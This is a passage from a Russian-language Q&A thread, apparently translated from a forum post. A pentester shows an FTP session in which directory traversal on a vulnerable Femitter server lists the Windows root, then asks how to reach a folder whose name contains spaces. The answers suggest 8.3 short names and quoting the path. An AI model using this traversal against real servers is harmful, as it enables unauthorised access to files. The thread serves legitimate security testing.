Я проводил санкционированный пентест в закрытой референтной среде и столкнулся с кажущейся простой проблемой, которую в настоящее время не могу решить.
При попытке выполнить атаку по обходу каталога на уязвимый FTP-сервер Fermitter, работающий в ОС MS Windows, можно создать LIST в корневом каталоге системы (адреса и списки содержимого изменены здесь только для справки):
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
Однако, если я хочу отобразить содержимое папки, содержащей пробелы, например Documents and settings
, я не смогу отобразить содержимое каталога из-за игнорирования пробелов.
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
Я уже пытался использовать разные клиенты FTP (CLI и GUI, в Linux и Windows), и они либо игнорировали пробелы, либо запрещали обход каталога.
Также попытался написать сценарий атаки на Python, используя сначала raw-сокеты, а затем ftplib для отправки команд в формате HEX непосредственно на FTP-сервер, но безуспешно.
Поиск в течение нескольких часов не дал рабочего решения (да, было много вариантов, которые не работали), поэтому здесь есть кто-то, у кого была такая же проблема. Я уверен, что это не первый раз, когда требуется обход каталога с пробелами.
источник
\
помощью строки каталога илиОтветы:
Решение, предложенное @Dogeatcatworld для использования кратких обозначений каталогов MS Windows, таких как
C:\Docume~1\
.Действительно хорошая статья из MS Knowledge Base объясняет обозначение каталога 8.3: как Windows генерирует имена файлов 8.3 из длинных имен файлов
источник
Источник: Как я могу найти короткий путь к каталогу / файлу Windows?
источник
Ftp не использует URL-кодировку, поэтому% xx не будет работать, если вы не используете ftp в браузере, который может перевести его для вас.
Вместо этого попробуйте использовать кавычки, например: ls "../../some dir"
источник